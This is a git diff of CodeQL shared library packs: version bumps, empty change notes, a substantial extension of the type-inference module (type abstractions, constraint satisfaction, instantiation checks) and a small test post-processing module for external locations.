a/shared/typeflow/change-notes/released/1.0.25.md b/shared/typeflow/change-notes/released/1.0.25.md new file mode 100644 index 000000000000..51ce67fd9b15 --- /dev/null +++ b/shared/typeflow/change-notes/released/1.0.25.md @@ -0,0 +1,3 @@ +## 1.0.25 + +No user-facing changes. diff --git a/shared/typeflow/codeql-pack.release.yml b/shared/typeflow/codeql-pack.release.yml index 0f96ba41d168..a5a44030e851 100644 --- a/shared/typeflow/codeql-pack.release.yml +++ b/shared/typeflow/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.23 +lastReleaseVersion: 1.0.25 diff --git a/shared/typeflow/qlpack.yml b/shared/typeflow/qlpack.yml index 485648dde5b6..a95abb9ac22e 100644 --- a/shared/typeflow/qlpack.yml +++ b/shared/typeflow/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/typeflow -version: 1.0.23 +version: 1.0.25 groups: shared library: true dependencies: diff --git a/shared/typeinference/CHANGELOG.md b/shared/typeinference/CHANGELOG.md index 4ffbff1e0c4e..ad2e63eb4709 100644 --- a/shared/typeinference/CHANGELOG.md +++ b/shared/typeinference/CHANGELOG.md @@ -1,3 +1,11 @@ +## 0.0.6 + +No user-facing changes. + +## 0.0.5 + +No user-facing changes. + ## 0.0.4 No user-facing changes. diff --git a/shared/typeinference/change-notes/released/0.0.5.md b/shared/typeinference/change-notes/released/0.0.5.md new file mode 100644 index 000000000000..766ec2723b56 --- /dev/null +++ b/shared/typeinference/change-notes/released/0.0.5.md @@ -0,0 +1,3 @@ +## 0.0.5 + +No user-facing changes. diff --git a/shared/typeinference/change-notes/released/0.0.6.md b/shared/typeinference/change-notes/released/0.0.6.md new file mode 100644 index 000000000000..ccbce856079d --- /dev/null +++ b/shared/typeinference/change-notes/released/0.0.6.md @@ -0,0 +1,3 @@ +## 0.0.6 + +No user-facing changes. diff --git a/shared/typeinference/codeql-pack.release.yml b/shared/typeinference/codeql-pack.release.yml index ec411a674bcd..cf398ce02aa4 100644 --- a/shared/typeinference/codeql-pack.release.yml +++ b/shared/typeinference/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 0.0.4 +lastReleaseVersion: 0.0.6 diff --git a/shared/typeinference/codeql/typeinference/internal/TypeInference.qll b/shared/typeinference/codeql/typeinference/internal/TypeInference.qll index c8eabda8872b..b0f5fc673009 100644 --- a/shared/typeinference/codeql/typeinference/internal/TypeInference.qll +++ b/shared/typeinference/codeql/typeinference/internal/TypeInference.qll @@ -32,6 +32,33 @@ signature module InputSig1 { /** A type parameter. */ class TypeParameter extends Type; + /** + * A type abstraction. I.e., a place in the program where type variables are + * introduced. + * + * Example in C#: + * ```csharp + * class C : D { } + * // ^^^^^^ a type abstraction + * ``` + * + * Example in Rust: + * ```rust + * impl Foo { } + * // ^^^^^^ a type abstraction + * ``` + */ + class TypeAbstraction { + /** Gets a type parameter introduced by this abstraction. */ + TypeParameter getATypeParameter(); + + /** Gets a textual representation of this type abstraction. */ + string toString(); + + /** Gets the location of this type abstraction. */ + Location getLocation(); + } + /** * Gets the unique identifier of type parameter `tp`. * @@ -91,11 +118,9 @@ module Make1 Input1> { predicate getRank = getTypeParameterId/1; } - private int getTypeParameterRank(TypeParameter tp) { - tp = DenseRank::denseRank(result) - } + int getRank(TypeParameter tp) { tp = DenseRank::denseRank(result) } - string encode(TypeParameter tp) { result = getTypeParameterRank(tp).toString() } + string encode(TypeParameter tp) { result = getRank(tp).toString() } bindingset[s] TypeParameter decode(string s) { encode(result) = s } @@ -160,38 +185,40 @@ module Make1 Input1> { bindingset[this] pragma[inline_late] int length() { - this.isEmpty() and result = 0 - or - result = strictcount(this.indexOf(".")) + 1 + // Same as + // `result = count(this.indexOf("."))` + // but performs better because it doesn't use an aggregate + result = this.regexpReplaceAll("[0-9]+", "").length() } /** Gets the path obtained by appending `suffix` onto this path. */ - bindingset[suffix, result] - bindingset[this, result] bindingset[this, suffix] TypePath append(TypePath suffix) { - if this.isEmpty() - then result = suffix - else - if suffix.isEmpty() - then result = this - else ( - result = this + "." + suffix and - not result.length() > getTypePathLimit() - ) + result = this + suffix and + ( + not exists(getTypePathLimit()) + or + result.length() <= getTypePathLimit() + ) } + /** + * Gets the path obtained by appending `suffix` onto this path. + * + * Unlike `append`, this predicate has `result` in the binding set, + * so there is no need to check the length of `result`. + */ + bindingset[this, result] + TypePath appendInverse(TypePath suffix) { suffix = result.stripPrefix(this) } + + /** Gets the path obtained by removing `prefix` from this path. */ + bindingset[this, prefix] + TypePath stripPrefix(TypePath prefix) { this = prefix + result } + /** Holds if this path starts with `tp`, followed by `suffix`. */ bindingset[this] predicate isCons(TypeParameter tp, TypePath suffix) { - tp = TypeParameter::decode(this) and - suffix.isEmpty() - or - exists(int first | - first = min(this.indexOf(".")) and - suffix = this.suffix(first + 1) and - tp = TypeParameter::decode(this.prefix(first)) - ) + suffix = this.stripPrefix(TypePath::singleton(tp)) } } @@ -201,17 +228,33 @@ module Make1 Input1> { TypePath nil() { result.isEmpty() } /** Gets the singleton type path `tp`. */ - TypePath singleton(TypeParameter tp) { result = TypeParameter::encode(tp) } + TypePath singleton(TypeParameter tp) { result = TypeParameter::encode(tp) + "." } /** * Gets the type path obtained by appending the singleton type path `tp` * onto `suffix`. */ - bindingset[result] bindingset[suffix] TypePath cons(TypeParameter tp, TypePath suffix) { result = singleton(tp).append(suffix) } } + /** + * A class that has a type tree associated with it. + * + * The type tree is represented by the `getTypeAt` predicate, which for every + * path into the tree gives the type at that path. + */ + signature class HasTypeTreeSig { + /** Gets the type at `path` in the type tree. */ + Type getTypeAt(TypePath path); + + /** Gets a textual representation of this type. */ + string toString(); + + /** Gets the location of this type. */ + Location getLocation(); + } + /** Provides the input to `Make2`. */ signature module InputSig2 { /** A type mention, for example a type annotation in a local variable declaration. */ @@ -253,6 +296,67 @@ module Make1 Input1> { * ``` */ TypeMention getABaseTypeMention(Type t); + + /** + * Gets a type constraint on the type parameter `tp`, if any. All + * instantiations of the type parameter must satisfy the constraint. + * + * For example, in + * ```csharp + * class GenericClass : IComparable> + * // ^ `tp` + * where T : IComparable { } + * // ^^^^^^^^^^^^^^ `result` + * ``` + * the type parameter `T` has the constraint `IComparable`. + */ + TypeMention getATypeParameterConstraint(TypeParameter tp); + + /** + * Holds if + * - `abs` is a type abstraction that introduces type variables that are + * free in `condition` and `constraint`, + * - and for every instantiation of the type parameters from `abs` the + * resulting `condition` satisifies the constraint given by `constraint`. + * + * Example in C#: + * ```csharp + * class C : IComparable> { } + * // ^^^ `abs` + * // ^^^^ `condition` + * // ^^^^^^^^^^^^^^^^^ `constraint` + * ``` + * + * Example in Rust: + * ```rust + * impl Trait for Type { } + * // ^^^ `abs` ^^^^^^^^^^^^^^^ `condition` + * // ^^^^^^^^^^^^^ `constraint` + * ``` + * + * To see how `abs` changes the meaning of the type parameters that occur in + * `condition`, consider the following examples in Rust: + * ```rust + * impl Trait for T { } + * // ^^^ `abs` ^ `condition` + * // ^^^^^ `constraint` + * ``` + * Here the meaning is "for all type parameters `T` it is the case that `T` + * implements `Trait`". On the other hand, in + * ```rust + * fn foo() { } + * // ^ `condition` + * // ^^^^^ `constraint` + * ``` + * the meaning is "`T` implements `Trait`" where the constraint is only + * valid for the specific `T`. Note that `condition` and `condition` are + * identical in the two examples. To encode the difference, `abs` in the + * first example should contain `T` whereas in the seconds example `abs` + * should be empty. + */ + predicate conditionSatisfiesConstraint( + TypeAbstraction abs, TypeMention condition, TypeMention constraint + ); } module Make2 { @@ -265,8 +369,285 @@ module Make1 Input1> { result = tm.resolveTypeAt(TypePath::nil()) } + /** Provides the input to `IsInstantiationOf`. */ + signature module IsInstantiationOfInputSig { + /** + * Holds if `abs` is a type abstraction, `tm` occurs in the scope of + * `abs`, and `app` is potentially an application/instantiation of `abs`. + * + * For example: + * ```rust + * impl Foo { + * // ^^^ `abs` + * // ^^^^^^^^^ `tm` + * fn bar(self) { ... } + * } + * // ... + * foo.bar(); + * // ^^^ `app` + * ``` + * Here `abs` introduces the type parameter `A` and `tm` occurs in the + * scope of `abs` (i.e., `A` is bound in `tm` by `abs`). On the last line, + * accessing the `bar` method of `foo` potentially instantiates the `impl` + * block with a type argument for `A`. + */ + predicate potentialInstantiationOf(App app, TypeAbstraction abs, TypeMention tm); + + /** + * Holds if `constraint` might occur as the third argument of + * `potentialInstantiationOf`. Defaults to simply projecting the third + * argument of `potentialInstantiationOf`. + */ + default predicate relevantTypeMention(TypeMention tm) { potentialInstantiationOf(_, _, tm) } + } + + /** + * Provides functionality for determining if a type is a possible + * instantiation of a type mention containing type parameters. + */ + module IsInstantiationOf Input> { + private import Input + + /** Gets the `i`th path in `tm` per some arbitrary order. */ + pragma[nomagic] + private TypePath getNthPath(TypeMention tm, int i) { + result = + rank[i + 1](TypePath path | + exists(tm.resolveTypeAt(path)) and relevantTypeMention(tm) + | + path + ) + } + + /** + * Holds if `app` is a possible instantiation of `tm` at `path`. That is + * the type at `path` in `tm` is either a type parameter or equal to the + * type at the same path in `app`. + */ + bindingset[app, abs, tm, path] + private predicate satisfiesConcreteTypeAt( + App app, TypeAbstraction abs, TypeMention tm, TypePath path + ) { + exists(Type t | + tm.resolveTypeAt(path) = t and + if t = abs.getATypeParameter() then any() else app.getTypeAt(path) = t + ) + } + + pragma[nomagic] + private predicate satisfiesConcreteTypesFromIndex( + App app, TypeAbstraction abs, TypeMention tm, int i + ) { + potentialInstantiationOf(app, abs, tm) and + satisfiesConcreteTypeAt(app, abs, tm, getNthPath(tm, i)) and + // Recurse unless we are at the first path + if i = 0 then any() else satisfiesConcreteTypesFromIndex(app, abs, tm, i - 1) + } + + /** Holds if all the concrete types in `tm` also occur in `app`. */ + pragma[nomagic] + private predicate satisfiesConcreteTypes(App app, TypeAbstraction abs, TypeMention tm) { + satisfiesConcreteTypesFromIndex(app, abs, tm, max(int i | exists(getNthPath(tm, i)))) + } + + private TypeParameter getNthTypeParameter(TypeAbstraction abs, int i) { + result = + rank[i + 1](TypeParameter tp | + tp = abs.getATypeParameter() + | + tp order by TypeParameter::getRank(tp) + ) + } + + /** + * Gets the path to the `i`th occurrence of `tp` within `tm` per some + * arbitrary order, if any. + */ + private TypePath getNthTypeParameterPath(TypeMention tm, TypeParameter tp, int i) { + result = + rank[i + 1](TypePath path | tp = tm.resolveTypeAt(path) and relevantTypeMention(tm) | path) + } + + pragma[nomagic] + private predicate typeParametersEqualFromIndex( + App app, TypeAbstraction abs, TypeMention tm, TypeParameter tp, Type t, int i + ) { + satisfiesConcreteTypes(app, abs, tm) and + exists(TypePath path | + path = getNthTypeParameterPath(tm, tp, i) and + t = app.getTypeAt(path) and + if i = 0 + then + // no need to compute this predicate if there is only one path + exists(getNthTypeParameterPath(tm, tp, 1)) + else typeParametersEqualFromIndex(app, abs, tm, tp, t, i - 1) + ) + } + + private predicate typeParametersEqual( + App app, TypeAbstraction abs, TypeMention tm, TypeParameter tp + ) { + satisfiesConcreteTypes(app, abs, tm) and + tp = getNthTypeParameter(abs, _) and + ( + not exists(getNthTypeParameterPath(tm, tp, _)) + or + exists(int n | n = max(int i | exists(getNthTypeParameterPath(tm, tp, i))) | + // If the largest index is 0, then there are no equalities to check as + // the type parameter only occurs once. + if n = 0 then any() else typeParametersEqualFromIndex(app, abs, tm, tp, _, n) + ) + ) + } + + private predicate typeParametersHaveEqualInstantiationFromIndex( + App app, TypeAbstraction abs, TypeMention tm, int i + ) { + exists(TypeParameter tp | tp = getNthTypeParameter(abs, i) | + typeParametersEqual(app, abs, tm, tp) and + if i = 0 + then any() + else typeParametersHaveEqualInstantiationFromIndex(app, abs, tm, i - 1) + ) + } + + /** + * Holds if `app` is a possible instantiation of `tm`. That is, by making + * appropriate substitutions for the free type parameters in `tm` given by + * `abs`, it is possible to obtain `app`. + * + * For instance, if `A` and `B` are free type parameters we have: + * - `Pair` is an instantiation of `A` + * - `Pair` is an instantiation of `Pair` + * - `Pair` is an instantiation of `Pair` + * - `Pair` is _not_ an instantiation of `Pair` + * - `Pair` is _not_ an instantiation of `Pair` + */ + predicate isInstantiationOf(App app, TypeAbstraction abs, TypeMention tm) { + // We only need to check equality if the concrete types are satisfied. + satisfiesConcreteTypes(app, abs, tm) and + // Check if all the places where the same type parameter occurs in `tm` + // are equal in `app`. + // + // TODO: As of now this only checks equality at the root of the types + // instantiated for type parameters. So, for instance, `Pair, Vec>` + // is mistakenly considered an instantiation of `Pair`. + ( + not exists(getNthTypeParameter(abs, _)) + or + exists(int n | n = max(int i | exists(getNthTypeParameter(abs, i))) | + typeParametersHaveEqualInstantiationFromIndex(app, abs, tm, n) + ) + ) + } + } + /** Provides logic related to base types. */ private module BaseTypes { + /** + * Holds if, when `tm1` is considered an instantiation of `tm2`, then at + * the type parameter `tp` it has the type `t` at `path`. + * + * For instance, if the type `Map>` is considered an + * instantion of `Map` then it has the type `int` at `K` and the + * type `List` at `V`. + */ + bindingset[tm1, tm2] + private predicate instantiatesWith( + TypeMention tm1, TypeMention tm2, TypeParameter tp, TypePath path, Type t + ) { + exists(TypePath prefix | + tm2.resolveTypeAt(prefix) = tp and t = tm1.resolveTypeAt(prefix.appendInverse(path)) + ) + } + + final private class FinalTypeMention = TypeMention; + + final private class TypeMentionTypeTree extends FinalTypeMention { + Type getTypeAt(TypePath path) { result = this.resolveTypeAt(path) } + } + + private module IsInstantiationOfInput implements + IsInstantiationOfInputSig + { + pragma[nomagic] + private predicate typeCondition(Type type, TypeAbstraction abs, TypeMentionTypeTree lhs) { + conditionSatisfiesConstraint(abs, lhs, _) and type = resolveTypeMentionRoot(lhs) + } + + pragma[nomagic] + private predicate typeConstraint(Type type, TypeMentionTypeTree rhs) { + conditionSatisfiesConstraint(_, _, rhs) and type = resolveTypeMentionRoot(rhs) + } + + predicate potentialInstantiationOf( + TypeMentionTypeTree condition, TypeAbstraction abs, TypeMention constraint + ) { + exists(Type type | + typeConstraint(type, condition) and typeCondition(type, abs, constraint) + ) + } + } + + /** + * Holds if the type mention `condition` satisfies `constraint` with the + * type `t` at the path `path`. + */ + predicate conditionSatisfiesConstraintTypeAt( + TypeAbstraction abs, TypeMention condition, TypeMention constraint, TypePath path, Type t + ) { + // base case + conditionSatisfiesConstraint(abs, condition, constraint) and + constraint.resolveTypeAt(path) = t + or + // recursive case + exists(TypeAbstraction midAbs, TypeMention midSup, TypeMention midSub | + conditionSatisfiesConstraint(abs, condition, midSup) and + // NOTE: `midAbs` describe the free type variables in `midSub`, hence + // we use that for instantiation check. + IsInstantiationOf::isInstantiationOf(midSup, + midAbs, midSub) + | + conditionSatisfiesConstraintTypeAt(midAbs, midSub, constraint, path, t) and + not t = midAbs.getATypeParameter() + or + exists(TypePath prefix, TypePath suffix, TypeParameter tp | + tp = midAbs.getATypeParameter() and + conditionSatisfiesConstraintTypeAt(midAbs, midSub, constraint, prefix, tp) and + instantiatesWith(midSup, midSub, tp, suffix, t) and + path = prefix.append(suffix) + ) + ) + } + + /** + * Holds if its possible for a type with `conditionRoot` at the root to + * satisfy a constraint with `constraintRoot` at the root through `abs`, + * `condition`, and `constraint`. + */ + predicate rootTypesSatisfaction( + Type conditionRoot, Type constraintRoot, TypeAbstraction abs, TypeMention condition, + TypeMention constraint + ) { + conditionSatisfiesConstraintTypeAt(abs, condition, constraint, _, _) and + conditionRoot = resolveTypeMentionRoot(condition) and + constraintRoot = resolveTypeMentionRoot(constraint) + } + + /** + * Gets the number of ways in which it is possible for a type with + * `conditionRoot` at the root to satisfy a constraint with + * `constraintRoot` at the root. + */ + int countConstraintImplementations(Type conditionRoot, Type constraintRoot) { + result = + strictcount(TypeAbstraction abs, TypeMention tm, TypeMention constraint | + rootTypesSatisfaction(conditionRoot, constraintRoot, abs, tm, constraint) + | + constraint + ) + } + /** * Holds if `baseMention` is a (transitive) base type mention of `sub`, * and `t` is mentioned (implicitly) at `path` inside `baseMention`. For @@ -519,7 +900,7 @@ module Make1 Input1> { exists(AccessPosition apos, DeclarationPosition dpos, TypePath pathToTypeParam | tp = target.getDeclaredType(dpos, pathToTypeParam) and accessDeclarationPositionMatch(apos, dpos) and - adjustedAccessType(a, apos, target, pathToTypeParam.append(path), t) + adjustedAccessType(a, apos, target, pathToTypeParam.appendInverse(path), t) ) } @@ -528,24 +909,19 @@ module Make1 Input1> { * Holds if inferring types at `a` might depend on the type at `path` of * `apos` having `base` as a transitive base type. */ - private predicate relevantAccess(Access a, AccessPosition apos, TypePath path, Type base) { + private predicate relevantAccess(Access a, AccessPosition apos, Type base) { exists(Declaration target, DeclarationPosition dpos | adjustedAccessType(a, apos, target, _, _) and - accessDeclarationPositionMatch(apos, dpos) - | - path.isEmpty() and declarationBaseType(target, dpos, base, _, _) - or - typeParameterConstraintHasTypeParameter(target, dpos, path, _, base, _, _) + accessDeclarationPositionMatch(apos, dpos) and + declarationBaseType(target, dpos, base, _, _) ) } pragma[nomagic] - private Type inferTypeAt( - Access a, AccessPosition apos, TypePath prefix, TypeParameter tp, TypePath suffix - ) { - relevantAccess(a, apos, prefix, _) and + private Type inferTypeAt(Access a, AccessPosition apos, TypeParameter tp, TypePath suffix) { + relevantAccess(a, apos, _) and exists(TypePath path0 | - result = a.getInferredType(apos, prefix.append(path0)) and + result = a.getInferredType(apos, path0) and path0.isCons(tp, suffix) ) } @@ -581,24 +957,136 @@ module Make1 Input1> { * `Base>` | `"T2.T1"` | ``C`1`` * `Base>` | `"T2.T1.T1"` | `int` */ - pragma[nomagic] predicate hasBaseTypeMention( - Access a, AccessPosition apos, TypePath pathToSub, TypeMention baseMention, TypePath path, - Type t + Access a, AccessPosition apos, TypeMention baseMention, TypePath path, Type t ) { - relevantAccess(a, apos, pathToSub, resolveTypeMentionRoot(baseMention)) and - exists(Type sub | sub = a.getInferredType(apos, pathToSub) | + relevantAccess(a, apos, resolveTypeMentionRoot(baseMention)) and + exists(Type sub | sub = a.getInferredType(apos, TypePath::nil()) | baseTypeMentionHasNonTypeParameterAt(sub, baseMention, path, t) or exists(TypePath prefix, TypePath suffix, TypeParameter tp | baseTypeMentionHasTypeParameterAt(sub, baseMention, prefix, tp) and - t = inferTypeAt(a, apos, pathToSub, tp, suffix) and + t = inferTypeAt(a, apos, tp, suffix) and path = prefix.append(suffix) ) ) } } + private module AccessConstraint { + predicate relevantAccessConstraint( + Access a, AccessPosition apos, TypePath path, Type constraint + ) { + exists(DeclarationPosition dpos | + accessDeclarationPositionMatch(apos, dpos) and + typeParameterConstraintHasTypeParameter(a.getTarget(), dpos, path, _, constraint, _, _) + ) + } + + private newtype TRelevantAccess = + MkRelevantAccess(Access a, AccessPosition apos, TypePath path) { + relevantAccessConstraint(a, apos, path, _) + } + + /** + * If the access `a` for `apos` and `path` has an inferred type which + * type inference requires to satisfy some constraint. + */ + private class RelevantAccess extends MkRelevantAccess { + Access a; + AccessPosition apos; + TypePath path; + + RelevantAccess() { this = MkRelevantAccess(a, apos, path) } + + Type getTypeAt(TypePath suffix) { + a.getInferredType(apos, path.appendInverse(suffix)) = result + } + + /** Holds if this relevant access has the type `type` and should satisfy `constraint`. */ + predicate hasTypeConstraint(Type type, Type constraint) { + type = a.getInferredType(apos, path) and + relevantAccessConstraint(a, apos, path, constraint) + } + + string toString() { + result = a.toString() + ", " + apos.toString() + ", " + path.toString() + } + + Location getLocation() { result = a.getLocation() } + } + + private module IsInstantiationOfInput implements IsInstantiationOfInputSig { + predicate potentialInstantiationOf( + RelevantAccess at, TypeAbstraction abs, TypeMention cond + ) { + exists(Type constraint, Type type | + at.hasTypeConstraint(type, constraint) and + rootTypesSatisfaction(type, constraint, abs, cond, _) and + // We only need to check instantiations where there are multiple candidates. + countConstraintImplementations(type, constraint) > 1 + ) + } + + predicate relevantTypeMention(TypeMention constraint) { + rootTypesSatisfaction(_, _, _, constraint, _) + } + } + + /** + * Holds if `at` satisfies `constraint` through `abs`, `sub`, and `constraintMention`. + */ + private predicate hasConstraintMention( + RelevantAccess at, TypeAbstraction abs, TypeMention sub, Type constraint, + TypeMention constraintMention + ) { + exists(Type type | at.hasTypeConstraint(type, constraint) | + not exists(countConstraintImplementations(type, constraint)) and + conditionSatisfiesConstraintTypeAt(abs, sub, constraintMention, _, _) and + resolveTypeMentionRoot(sub) = abs.getATypeParameter() and + constraint = resolveTypeMentionRoot(constraintMention) + or + countConstraintImplementations(type, constraint) > 0 and + rootTypesSatisfaction(type, constraint, abs, sub, constraintMention) and + // When there are multiple ways the type could implement the + // constraint we need to find the right implementation, which is the + // one where the type instantiates the precondition. + if countConstraintImplementations(type, constraint) > 1 + then + IsInstantiationOf::isInstantiationOf(at, abs, + sub) + else any() + ) + } + + /** + * Holds if the type at `a`, `apos`, and `path` satisfies the constraint + * `constraint` with the type `t` at `path`. + */ + pragma[nomagic] + predicate satisfiesConstraintTypeMention( + Access a, AccessPosition apos, TypePath prefix, Type constraint, TypePath path, Type t + ) { + exists( + RelevantAccess at, TypeAbstraction abs, TypeMention sub, Type t0, TypePath prefix0, + TypeMention constraintMention + | + at = MkRelevantAccess(a, apos, prefix) and + hasConstraintMention(at, abs, sub, constraint, constraintMention) and + conditionSatisfiesConstraintTypeAt(abs, sub, constraintMention, prefix0, t0) + | + not t0 = abs.getATypeParameter() and t = t0 and path = prefix0 + or + t0 = abs.getATypeParameter() and + exists(TypePath path3, TypePath suffix | + sub.resolveTypeAt(path3) = t0 and + at.getTypeAt(path3.appendInverse(suffix)) = t and + path = prefix0.append(suffix) + ) + ) + } + } + /** * Holds if the type of `a` at `apos` has the base type `base`, and when * viewed as an element of that type has the type `t` at `path`. @@ -608,7 +1096,7 @@ module Make1 Input1> { Access a, AccessPosition apos, Type base, TypePath path, Type t ) { exists(TypeMention tm | - AccessBaseType::hasBaseTypeMention(a, apos, TypePath::nil(), tm, path, t) and + AccessBaseType::hasBaseTypeMention(a, apos, tm, path, t) and base = resolveTypeMentionRoot(tm) ) } @@ -664,7 +1152,7 @@ module Make1 Input1> { not exists(getTypeArgument(a, target, tp, _)) and target = a.getTarget() and exists(AccessPosition apos, DeclarationPosition dpos, Type base, TypePath pathToTypeParam | - accessBaseType(a, apos, base, pathToTypeParam.append(path), t) and + accessBaseType(a, apos, base, pathToTypeParam.appendInverse(path), t) and declarationBaseType(target, dpos, base, pathToTypeParam, tp) and accessDeclarationPositionMatch(apos, dpos) ) @@ -712,7 +1200,7 @@ module Make1 Input1> { tp1 != tp2 and tp1 = target.getDeclaredType(dpos, path1) and exists(TypeMention tm | - tm = getABaseTypeMention(tp1) and + tm = getATypeParameterConstraint(tp1) and tm.resolveTypeAt(path2) = tp2 and constraint = resolveTypeMentionRoot(tm) ) @@ -725,13 +1213,14 @@ module Make1 Input1> { not exists(getTypeArgument(a, target, tp, _)) and target = a.getTarget() and exists( - TypeMention base, AccessPosition apos, DeclarationPosition dpos, TypePath pathToTp, + Type constraint, AccessPosition apos, DeclarationPosition dpos, TypePath pathToTp, TypePath pathToTp2 | accessDeclarationPositionMatch(apos, dpos) and - typeParameterConstraintHasTypeParameter(target, dpos, pathToTp2, _, - resolveTypeMentionRoot(base), pathToTp, tp) and - AccessBaseType::hasBaseTypeMention(a, apos, pathToTp2, base, pathToTp.append(path), t) + typeParameterConstraintHasTypeParameter(target, dpos, pathToTp2, _, constraint, pathToTp, + tp) and + AccessConstraint::satisfiesConstraintTypeMention(a, apos, pathToTp2, constraint, + pathToTp.appendInverse(path), t) ) } @@ -749,7 +1238,7 @@ module Make1 Input1> { // We can infer the type of `tp` by going up the type hiearchy baseTypeMatch(a, target, path, t, tp) or - // We can infer the type of `tp` by a type bound + // We can infer the type of `tp` by a type constraint typeConstraintBaseTypeMatch(a, target, path, t, tp) } @@ -811,7 +1300,7 @@ module Make1 Input1> { } } - /** Provides consitency checks. */ + /** Provides consistency checks. */ module Consistency { query predicate missingTypeParameterId(TypeParameter tp) { not exists(getTypeParameterId(tp)) @@ -825,6 +1314,10 @@ module Make1 Input1> { getTypeParameterId(tp1) = getTypeParameterId(tp2) and tp1 != tp2 } + + query predicate illFormedTypeMention(TypeMention tm) { + not exists(tm.resolveTypeAt(TypePath::nil())) and exists(tm.getLocation()) + } } } } diff --git a/shared/typeinference/qlpack.yml b/shared/typeinference/qlpack.yml index 4c3dc975ca23..d0c83854b67b 100644 --- a/shared/typeinference/qlpack.yml +++ b/shared/typeinference/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/typeinference -version: 0.0.4 +version: 0.0.6 groups: shared library: true dependencies: diff --git a/shared/typetracking/CHANGELOG.md b/shared/typetracking/CHANGELOG.md index 16294923597f..6e434da1f774 100644 --- a/shared/typetracking/CHANGELOG.md +++ b/shared/typetracking/CHANGELOG.md @@ -1,3 +1,11 @@ +## 2.0.9 + +No user-facing changes. + +## 2.0.8 + +No user-facing changes. + ## 2.0.7 No user-facing changes. diff --git a/shared/typetracking/change-notes/released/2.0.8.md b/shared/typetracking/change-notes/released/2.0.8.md new file mode 100644 index 000000000000..4d6867c721bf --- /dev/null +++ b/shared/typetracking/change-notes/released/2.0.8.md @@ -0,0 +1,3 @@ +## 2.0.8 + +No user-facing changes. diff --git a/shared/typetracking/change-notes/released/2.0.9.md b/shared/typetracking/change-notes/released/2.0.9.md new file mode 100644 index 000000000000..b89eb98bbd9d --- /dev/null +++ b/shared/typetracking/change-notes/released/2.0.9.md @@ -0,0 +1,3 @@ +## 2.0.9 + +No user-facing changes. diff --git a/shared/typetracking/codeql-pack.release.yml b/shared/typetracking/codeql-pack.release.yml index 08d5e9594498..ce305265e337 100644 --- a/shared/typetracking/codeql-pack.release.yml +++ b/shared/typetracking/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 2.0.7 +lastReleaseVersion: 2.0.9 diff --git a/shared/typetracking/qlpack.yml b/shared/typetracking/qlpack.yml index afcebca713b6..e75d2976ab3a 100644 --- a/shared/typetracking/qlpack.yml +++ b/shared/typetracking/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/typetracking -version: 2.0.7 +version: 2.0.9 groups: shared library: true dependencies: diff --git a/shared/typos/CHANGELOG.md b/shared/typos/CHANGELOG.md index c7ff1a773da2..62be8d62137f 100644 --- a/shared/typos/CHANGELOG.md +++ b/shared/typos/CHANGELOG.md @@ -1,3 +1,11 @@ +## 1.0.25 + +No user-facing changes. + +## 1.0.24 + +No user-facing changes. + ## 1.0.23 No user-facing changes. diff --git a/shared/typos/change-notes/released/1.0.24.md b/shared/typos/change-notes/released/1.0.24.md new file mode 100644 index 000000000000..379b5e336576 --- /dev/null +++ b/shared/typos/change-notes/released/1.0.24.md @@ -0,0 +1,3 @@ +## 1.0.24 + +No user-facing changes. diff --git a/shared/typos/change-notes/released/1.0.25.md b/shared/typos/change-notes/released/1.0.25.md new file mode 100644 index 000000000000..51ce67fd9b15 --- /dev/null +++ b/shared/typos/change-notes/released/1.0.25.md @@ -0,0 +1,3 @@ +## 1.0.25 + +No user-facing changes. diff --git a/shared/typos/codeql-pack.release.yml b/shared/typos/codeql-pack.release.yml index 0f96ba41d168..a5a44030e851 100644 --- a/shared/typos/codeql-pack.release.yml +++ b/shared/typos/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.23 +lastReleaseVersion: 1.0.25 diff --git a/shared/typos/qlpack.yml b/shared/typos/qlpack.yml index 15579110177e..7cbc9901fec7 100644 --- a/shared/typos/qlpack.yml +++ b/shared/typos/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/typos -version: 1.0.23 +version: 1.0.25 groups: shared library: true warnOnImplicitThis: true diff --git a/shared/util/CHANGELOG.md b/shared/util/CHANGELOG.md index f6f7838bc2ee..e9eb55238ef2 100644 --- a/shared/util/CHANGELOG.md +++ b/shared/util/CHANGELOG.md @@ -1,3 +1,11 @@ +## 2.0.12 + +No user-facing changes. + +## 2.0.11 + +No user-facing changes. + ## 2.0.10 No user-facing changes. diff --git a/shared/util/change-notes/released/2.0.11.md b/shared/util/change-notes/released/2.0.11.md new file mode 100644 index 000000000000..b3d110bcba50 --- /dev/null +++ b/shared/util/change-notes/released/2.0.11.md @@ -0,0 +1,3 @@ +## 2.0.11 + +No user-facing changes. diff --git a/shared/util/change-notes/released/2.0.12.md b/shared/util/change-notes/released/2.0.12.md new file mode 100644 index 000000000000..c93809466de8 --- /dev/null +++ b/shared/util/change-notes/released/2.0.12.md @@ -0,0 +1,3 @@ +## 2.0.12 + +No user-facing changes. diff --git a/shared/util/codeql-pack.release.yml b/shared/util/codeql-pack.release.yml index 96ea0220a690..b856d9a13f21 100644 --- a/shared/util/codeql-pack.release.yml +++ b/shared/util/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 2.0.10 +lastReleaseVersion: 2.0.12 diff --git a/shared/util/codeql/util/test/ExternalLocationPostProcessing.qll b/shared/util/codeql/util/test/ExternalLocationPostProcessing.qll new file mode 100644 index 000000000000..2ebd2b452828 --- /dev/null +++ b/shared/util/codeql/util/test/ExternalLocationPostProcessing.qll @@ -0,0 +1,30 @@ +/** + * Provides logic for creating a `@kind test-postprocess` query that converts + * external locations to a special `{EXTERNAL LOCATION}` string. + * + * This is useful for writing tests that use real locations when executed in + * VS Code, but prevents the "Location is outside of test directory" warning + * when executed through `codeql test run`. + */ +module; + +external private predicate queryResults(string relation, int row, int column, string data); + +external private predicate queryRelations(string relation); + +private signature string getSourceLocationPrefixSig(); + +module Make { + query predicate results(string relation, int row, int column, string data) { + exists(string s | queryResults(relation, row, column, s) | + if + not s = "file://" + any(string suffix) or + s = "file://:0:0:0:0" or + s = getSourceLocationPrefix() + any(string suffix) + then data = s + else data = "{EXTERNAL LOCATION}" + ) + } + + query predicate resultRelations(string relation) { queryRelations(relation) } +} diff 